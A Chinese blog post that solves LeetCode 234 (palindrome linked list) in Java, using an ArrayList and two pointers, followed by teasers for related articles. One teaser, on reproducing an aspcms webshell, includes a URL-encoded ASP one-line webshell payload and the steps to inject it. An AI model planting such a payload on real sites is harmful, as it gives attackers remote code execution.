【d46】【Java】【力扣】234.回文链表

news/2024/9/23 1:10:21/

思路

判断是否是回文,需要:一个指针指向头,一个指针指向尾,两个指针一边向中间靠拢,一边判断数值是否相同

对于单链表,不方便获得pre,如果将节点放进 数组/list ,数组/list可以直接获得索引,,那么就能方便很(注意!!这是单链表需要访问pre时,常用的解决方法)

做法:

1.链表放进list中

2.设置一个指针指向头,一个指针指向尾

3.遍历size/2遍,两个指针一边判断数值是否相同,一边向中间靠拢,

代码

import java.util.ArrayList;
import java.util.Objects;public class Main {public static void main(String[] args) {}public class ListNode {int val;ListNode next;ListNode() {}ListNode(int val) { this.val = val; }ListNode(int val, ListNode next) { this.val = val; this.next = next; }}class Solution {public boolean isPalindrome(ListNode head) {//先将所有节点放进一个list():有序,有索引,长度可变//数组有索引,长度不可变ArrayList<Integer> list = new ArrayList<>();ListNode cur=head;while (cur != null) {list.add(cur.val);cur = cur.next;}//遍历size/2遍,,一个指针指向头,,一个指针指向尾//判断两个指针指向是否相同int size = list.size();int pre=0;int last=size-1;for (int i = 1; i <=size/2 ; i++) {//判断两个指针指向是否相同if (list.get(pre).equals(list.get(last))) {//如果相同,移动指针,继续判断pre++;last--;}else{return false;}}return true;}}
}

记录

总结

对于单链表,如果需要获得pre,可以节点放进 数组/list ,数组/list可以直接获得索引,,那么就能方便很(注意!!这是单链表需要访问pre时,常用的解决方法)


http://www.ppmy.cn/news/1529091.html

相关文章

《深度学习》PyTorch 常用损失函数原理、用法解析

目录 一、常用损失函数 1、CrossEntropyLoss&#xff08;交叉熵损失&#xff09; 1&#xff09;原理 2&#xff09;流程 3&#xff09;用法示例 2、L1Loss&#xff08;L1损失/平均绝对误差&#xff09; 1&#xff09;原理 2&#xff09;用法示例 3、NLLLoss&#xff08;负对…

【STM32系统】基于STM32设计的DAC输出电压与ADC检测电压系统(简易万用表,检测电压电流)——文末工程资料下载

基于STM32设计的DAC输出电压与ADC检测电压系统(简易万用表,检测电压电流) 演示视频: 基于STM32设计的DAC输出电压与ADC检测电压系统(简易万用表,检测电压电流) 前言:本项目实现对STM32的DAC和ADC的程序设计与硬件电路连接实现STM32内部DAC输出电压,并且ADC可以采集电压…

dedecms(四种webshell姿势)、aspcms webshell漏洞复现

一、aspcms webshell 1、登陆后台&#xff0c;在扩展功能的幻灯片设置模块&#xff0c;点击保存进行抓包查看 2、在slideTextStatus写入asp一句话木马 1%25><%25Eval(Request(chr(65)))%25><%25 密码是a&#xff0c;放行&#xff0c;修改成功 3、使用菜刀工具连…

AWS 消息通知系统 SNS

AWS 消息通知系统 SNS 引言什么是 AWS SNSSNS 的工作原理SNS 的主要应用场景示例&#xff1a;创建 SNS 主题和订阅使用 AWS 管理控制台使用 AWS CLI使用 AWS SDK (Python Boto3) 示例 CloudWatch 如何通过 SNS 发送告警通知 引言 《AWS 监控和管理服务 CloudWatch》有介绍 Clo…

Java项目实战II基于Java+Spring Boot+MySQL的作业管理系统设计与实现(源码+数据库+文档)

目录 一、前言 二、技术介绍 三、系统实现 四、论文参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者 一、前言 在教育信息化的大潮中&#xff0c;作业管理作为教学过程中的重要环节&#xff0c;其效率与效果直接影…

“吉林一号”宽幅02B系列卫星

离轴四反光学成像系统 1.光学系统参数&#xff1a; 焦距&#xff1a;77.5mm&#xff1b; F/#&#xff1a;7.4&#xff1b; 视场&#xff1a;≥56゜&#xff1b; 光谱范围&#xff1a;400nm&#xff5e;1000nm。 2.说明&#xff1a; 光学系统采用离轴全反射式结构&#xff0c;整…

滑动窗口(6)_找到字符串中所有字母异位词

个人主页&#xff1a;C忠实粉丝 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 C忠实粉丝 原创 滑动窗口(6)_找到字符串中所有字母异位词 收录于专栏【经典算法练习】 本专栏旨在分享学习算法的一点学习笔记&#xff0c;欢迎大家在评论区交流讨论&#x1f4…

极狐GitLab CI/CD 功能合集(超详细教程)

极狐GitLab 是 GitLab 在中国的发行版&#xff0c;专门面向中国程序员和企业提供企业级一体化 DevOps 平台&#xff0c;用来帮助用户实现需求管理、源代码托管、CI/CD、安全合规&#xff0c;而且所有的操作都是在一个平台上进行&#xff0c;省事省心省钱。可以一键安装极狐GitL…